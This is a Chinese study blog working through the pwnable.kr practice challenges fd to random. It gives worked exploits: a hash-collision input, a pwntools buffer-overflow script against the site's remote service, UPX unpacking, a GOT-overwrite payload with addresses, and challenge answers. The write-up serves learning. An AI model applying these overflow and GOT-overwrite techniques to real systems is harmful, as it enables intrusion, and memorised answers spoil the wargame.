网站地址(点击直达):
http://pwnable.kr/play.php
第一题 fd
题解参考链接: 第一题主要学到的就是关于read的读文件方式 参考这个链接: 链接二 归纳:首先是归于main函数的两个参数的说明:
对于C语言int main(int argc char *argv[])来说,argc保存的是命令行总的参数个数(包括程序名),argv这是传入参数的数组. 举个例子,当你执行: ./test 1 2 3 时,argc = 4 而 argv[0] = test",argv[1] = 1,argv[2] = 2,argv[3] = 3
接下来是对于read函数:
UNIX/Linux平台上,对于控制台(Console)的标准输入,标准输出,标准错误输出,也对应了三个文件描述符(即fd = File Description )。它们分别是0,1,2。也就是说read(0,buf,32)表示从键盘读入至多32个字节到buf中
关于read函数的定义如下: ssize_t read(int fd, void * buf, size_t count); 它有三个参数,其中fd为指向文件的指针,如果为0则表示从键盘上读取文件,count表示读取字符的长度,read函数会将fd指向的文件传送count个到buf指针,而如果想要从一个文件中去进行读取则可以使用如下语句给fd赋值:
int fd = open("test.txt", O_RDONLY);
if(fd < 0){
perror("open");
exit(1);
}
因此第一题的目标是要让fd的值为0即可在键盘上进行输入并读取。
第二题:collision
做题可参考链接 这道题可以学到2个知识点,首先是数据的输入,其次是int和char的转换
1.首先是char和int数据类型的转换
在这道题中我们可以看到它是把一个长度为20的字符串转换为in类型的数据,然后进行5次加减。实际上是因为一个int类型的数据是4个字节,而一个int类型的数据是1个字节,因此在此处20个字节在转换的时候就变成了5个长度为4字节的int型数据。 因此本题的意思就是直接将这20个字符分成5端,然后将每一段相加结果为一个固定值即可满足条件。
2.python实现数据打印和传输
对于要构造一个字符串使得将其转换为5个int类型的数据以后长度相加为一个固定值,这里可以借助python来打印并将数据传送给程序。 对于数据构造,可以像下面这样构造 0x01010101*4+ 0x1DD905E8 但需要注意的是在传送给python的时候需要在每两位之间都加0x表示十六进制,以上数据还可以写成这个格式(注意C语言是小端存储) ‘\x01’*16+\‘\xE8\x05\xD9\x1D’ 然而我们知道0x01是不可见字符是无法打印出来的,因此我们可以使用python来进行传送到数据上去,构造python语句如下:
print '\x01' * 16 + '\xE8\x05\xD9\x1D'
终端输入格式:
./col $(python -c "print '\x01' * 16 + '\xE8\x05\xD9\x1D'")
输出结果如下: 通过上面我们可以学习到构造python输入的语句格式如下:
启动的文件名+$(python -c +“执行语句”)
第三题 bof-·-
接下来这道题需要用到缓冲区溢出,因此需要使用IDA(使用gdb也可以)来查看两个数据存放的数据栈才能确保在输入的时候能刚好覆盖并使得原始数据改变。 IDA参考链接: gdb参考链接: (gdb调试出现问题解决参考下面的第三点)
知识点总结
- 使用pwn进行远程连接和发送数据,通过以上链接可以看到程序的执行都是通过编写一个python的文本并执行来发送数据获得执行结果(执行结束依然是ctrl+C退出)。
编写一个test.py文本:
//pwn是一个python的库,如果没有安装直接使用pip install pwn就可以进行安装
from pwn import *
key =p32(0xcafebabe)
load=remote("pwnable.kr",9000)
load.send(bytes('a',encoding='UTF-8')*52+key)
load.interactive()
执行过程如下:
- 通过以上文本编写我们学到了一个新的函数p32,可以看到我们在给p32赋值以后其输出结果会倒置,因此在上面的文本中我们的赋值key和比较的文本一样。
而如果不使用p32也可以使用以下语句直接赋值(来源链接),
load.sendline('a'*52+'\xbe\xba\xfe\xca')
可以看到后面覆盖的部分进行了倒置。 接下来介绍p32函数,在网上介绍p32的资料很少,可以点击看看这个链接,文中说道p32表示的是bytes,在上面的测试用例中赋值后其输出格式也可以得到证明。 p32是压缩,输出的是bytes类型 u32是解压缩,对应的是str类型。
以下两段参考链接
bytes实例包含的是原始数据,即8位的无符号值(通常按照ASCII编码标准来显示) str实例包含的是Unicode码点(code point,也叫作代码点),这些码点与人类语言之中的文本字符相对应
在这篇文章中还介绍了如下内容:
在python这种语言,字符串b开头表示bytes字节,字符串里面的\x代表这是一个16进制,而一位十六进制代表了四位二进制,所以这里两位十六进制代表了8位二进制,也就是说这代表一个字节,最终解释出来是e
为什么不直接写b'hello'?这个是为了方便我们理解bytes是由8位值组成。在计算机里面str 等于 bytes, 而bytes却不等于str, 因为计算机bytes可以表示更多的格式,音频、视频、字符串、文档等等
如上面的例子所示,两个输出都是一样的。
- 在尝试使用gdb进行调试的时候上面给出的链接可以直接进行调试,但实际调试过程中却发现报错如下:
Reading symbols from ./bof… (No debugging symbols found in ./bof)
这个的解决方法可以参考这个链接: 链接 也就是需要对编写的c语言文本先进行汇编,执行代码如下:
gcc -c -g bof.c
ls
//此时可以看到程序中生成了一个bof.o文件
gcc bof.o
//此时程序会再生成一个a.out文件,调试这个文件就可以了
gdb a.out
过程如下
- gdb执行过程:
通过上面第三点我们已经能使用gdb将程序执行起来了,接下来就是查看输入数据和要覆盖数据位置的差距了。
//添加断点
b fun
//开始执行
r
//打开反汇编窗口
layout asm
//ni单步执行到图片所值函数位置
ni
然后会出现overflow me:在文本中输入AAAAAAAA并回车,接下来就是查看栈信息的指令
x/30x $esp
对上上面这个指令的讲解在这个帖子中介绍比较详细。
第一个x是gdb指令examine 简写 x/ (n,f,u为可选参数) n: 需要显示的内存单元个数,也就是从当前地址向后显示几个内存单元的内容,一个内存单元的大小由后面的u定义 f:显示格式 x(hex) 按十六进制格式显示变量。 d(decimal) 按十进制格式显示变量。 u(unsigned decimal) 按十进制格式显示无符号整型。 o(octal) 按八进制格式显示变量。 t(binary) 按二进制格式显示变量。 a(address) 按十六进制格式显示变量。 c(char) 按字符格式显示变量。 f(float) 按浮点数格式显示变量 u:每个单元的大小,按字节数来计算。默认是4 bytes。GDB会从指定内存地址开始读取指定字节,并把其当作一个值取出来,并使用格式f来显示 b:1 byte h:2 bytes w:4 bytes g:8 bytes 比如x/3uh 0x54320表示从内存地址0x54320读取内容,h表示以双字节为单位,3表示输出3个单位,u表示按照十六进制显示。
同时在上面指令进行单步运行的时候我们使用的指令是ni表示单步步过,在gdb中ni,si和n,s(s表示单步步入)的区别在于ni用于调试汇编指令,而n用于调试源程序。 然而在执行打印地址信息的命令时又报错没有权限,不行,我要放弃了,真的还是IDA好用呀。 打印esp的指令会显示无法读取该内存,但是打印sp的指令时却能正常打印出来。因此应该不是百度说的动态链接库和静态链接库的问题,但具体是什么原因我也不知道了,可以试试打印每个寄存器的值,然后对比看一下(我得赶作业了,不往下写了),还有就是打印sp的值对比似乎存在问题,可能是此处的deadbeef是main函数的,而实际上两者的值查为52(使用IDA查看)。
第四题 flag
解题链接
文中给了一个安装upx脱壳的工具,但实际上再ubuntu20中直接使用以下命令就可以实现对upx脱壳的安装:
sudo apt install upx
执行指令“upx 需要脱壳文件名”就可以直接进行脱壳了
upx flag
很多文章都写很容易就看出这个是upx的壳,打开二进制文本后可以看到它的文本中直接给出了加的是upx的壳(直接在IDA的hex窗口就可以查看): 在脱壳以后找flag时使用IDA可以快捷键shift+F12查看字符串
checksec的使用
看了一篇文章说可以使用checksec进行查壳,然后下载了checkesec执行命令后报如下问题:
checksec flag Error: No option selected. Please select an option.
这里应该是由于checksec升级了版本以后,需要在checksec 后添加–file=命令,也就是执行如下命令即可:
checksec --file=flag //flag是需要测试的文件名字
学到知识点:checksec的使用,upx脱壳
第五题 passcode
解题链接 这个链接写的应该算比较详细了,但是它讲小端序那存在一点问题 学习知识点: 看了上面的链接还是有一些地方不明白,再加上这个链接就完全懂了,点击查看链接 这里实际可以构造多种类型的语句来求解答案,原理是name开辟的100个字节的地址覆盖了passcode1的四字节(这里也是为什么在构造结果的时候第二个数据直接是16进制字符,因为它还属于name的范围支持字符串,而第二个只能是十进制数据的原因了),因此passcode1处可以写入printf/fflush/exit的入口地址,通过got表的原理知道这些地址指向的是对应的printf等函数的调用,而接下来在使用scanf读的时候由于没有添加&符号,因此在读入的时候它实际上会找到passcode1当前对应的值,然后修改那个值对应的地址。也就是利用这一原理,在scanf读入的时候,会将原本是调用printf的got表地址修改成调用system函数的地址,于是在接下来调用printf//fflush/exit对应的got表地址时,实际该地址已经指向了system函数的调用了,也就是不再执行原来的函数而是执行system函数调用。
一句话总结就是:由于got表为了避免重复,对于一些常用函数都指定一个地址来直接存储该函数的调用,而这里由于scanf没有加&,因此会修改passcode1对应值的地址的数据,第一次在输入name时将其指向printf//fflush/exit函数,接下来scanf的时候就直接修改了got表对应的函数调用关系了。 原文:
name和passcode1相差96个字节,但是name开辟了100字节的空间,所以name后4个字节正好可以覆盖到passcode1指针的地址。这四个字节就写入printf/fflush/exit的入口地址 接着四个字节用system的地址覆盖got表的地址,system的地址在login函数中可以查看,地址为0x80485e3。这里覆盖got表的原理就是把passcode1的地址覆盖成fflush或者printf或者exit的地址,然后利用scanf函数把system的地址覆写过去。这样等调用fflush或者printf或者exit的就调用成了system。
构造答案例如:
python -c "print('b'*96 + '\x00\xa0\x04\x08'+'\n'+'134514147'+'\n')" | ./passcode
这里的’\x00\xa0\x04\x08’是printf函数入口地址的小端序0x0804a000。查看在plt表中的函数调用的起始地址指令:
objdump -R passcode
得到如下查询结果
而’134514147’则是构造system函数调用的起始地址的10进制。
溢出
一直想不通为什么明明给name赋值为100了而在输入长度不足100的时候还能覆盖掉passcode1的值呢,实际上这里是因为在读取数据的时候没有加&符号,也就是passcode1的输入实际上修改的是passcode1作为地址指向的值
fflush()函数
该函数有两个参数, fflush(stdin):该函数功能是清空输入缓冲区,通常是为了确保不影响后面的数据读取(例如在读完一个字符串后紧接着又要读取一个字符,此时应该先执行fflush(stdin)。 fflush(stdout):刷新标准输出缓冲区,把输出缓冲区里的东西打印到标准输出设备上 同时还需要注意此函数仅适用于部分编译器(如VC6),但是并非所有编译器都要支持这个功能(如gcc3.2)。这是一个对C标准的扩充。 接下来直接运行passcode,然而却直接报错:
Segmentation fault (core dumped) 这里百度说这个错误是内存读入的问题,直接将passcode.c复制以后在gcc上运行也可以看到存在这个警告(注意要在linux上运行,在windows上不报错而是会直接退出):
这里可以看出它说的是在读取passcode1和passcode2的时候读取格式错误,这是它的源代码: 也就是实际上如果想要通过scanf读取int类型的数据应该是使用以下语句,而它少了一个&
scanf("%d",&passcode1)
第六题 random
这道题突然一下又变得很简单了呀,只需要两个知识点:
- a ^ b ^ a=a ^ a ^ b=b (关于异或的运算)
- random=rand(),其中rand函数如果没有种子的赋值,那么它产生的随机数是固定不变的。也就是这里产生的是一个固定不变的伪随机数。
- 利用以上两点答案就很简单了,key=伪随机数 ^ 0xdeadbeef
答案也就是:3039230856
第七题 input
未完待续
|